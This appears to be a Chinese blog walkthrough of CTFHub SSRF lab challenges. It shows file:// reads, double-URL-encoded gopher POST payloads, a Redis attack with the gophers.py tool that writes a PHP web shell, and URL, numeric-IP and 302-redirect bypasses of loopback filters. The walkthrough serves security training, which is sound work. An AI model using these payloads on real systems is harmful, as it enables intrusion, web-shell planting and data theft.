【CTFHUB】SSRF绕过方法之靶场实践(二)

SSRF POST请求

提示信息:
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

首先测试了http的服务请求,出现对话框
image.png
输入数值后提示:只能接受来自127.0.0.1的请求

右键查看源码发现key值

image.png

通过file协议读取flag.php页面的源码
构造 Payload:

?url=file:///var/www/html/flag.php

flag.php源码如下

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
	<input type="text" name="key">
	<!-- Debug: key=<?php echo $key;?>-->
</form>

尝试使用gopher 协议向服务器发送 POST 包,构造 gopher协议所需的 POST请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=fb00a2abc4b635472a398e19c222e665

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

需要对构造的请求包进行两次 URL编码:

一、将构造好的请求包进行第一次 URL编码:

image.png

在第一次编码后的,将%0A替换为%0D%0A。
因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

二、二次URL编码得到如下 Gopher请求内容:

image.png

curl功能向目标发送 POST请求,构造如下Payload:

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Dfb00a2abc4b635472a398e19c222e665

返回的页面请求如下
image.png

上传文件

提示信息:这次需要上传一个文件到flag.php了.祝你好运

进入到页面中,会看到是文件上传的页面,但是没有提交页面的请求,那么首先就在前端页面构造一个submit的请求方式。
(仿照"浏览"按钮)

点击提交的同时burp抓包

然后将其POST的/flag.php添加地址127.0.0.1,然后再将其整个POST请求包进行URL编码

之后将%0A替换成%0D%0A,进行第二次编码。

然后返回到起始的上传文件页面之后,抓取GET请求包

最后将GET请求包中的目录进行替换,替换成方才二次编码好的数据。之后在前面添加gopher://127.0.0.1:80的地址,注意“_”不可或缺,之后发送请求包就可以得到flag

redies协议

提示:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

1.在kali上面输入命令:

python gophers.py --exploit redis

然后选择攻击模式和构造shell
第一个选项这里我们填写php,因为我们需要的是phpshell
第二个选项可以不填,默认根路径为/var/www/html
第三个就写入我们的shell代码


最后会生成指定的URL编码,认的写入文件名是shell.php 命令参数是qq

进行第二次url编码时,不需要再将%0a换为%0d%0a了,因为生成的payload已经替换

然后二次编码之后,输入payload之后显示504 Gateway Time-out,就代表了我们成功写入shell了,蚁剑连接查看就可以得到flag或者可以用get请求的方式直接回显在页面上

URL Bypass

提示信息:
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。
利用@符号

构造PAYLOAD

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

提示信息;
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

构造payload

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://017700000001#十六进制

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://2130706433

1

302跳转 Bypass

提示信息:
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

http://127.0.0.1/flag.php  # 将这条链接生成短链接

利用如下生成短链接:
https://www.toolnb.com/tools/duanwangzhi.html

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=https://shorturl.at/lwADO

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值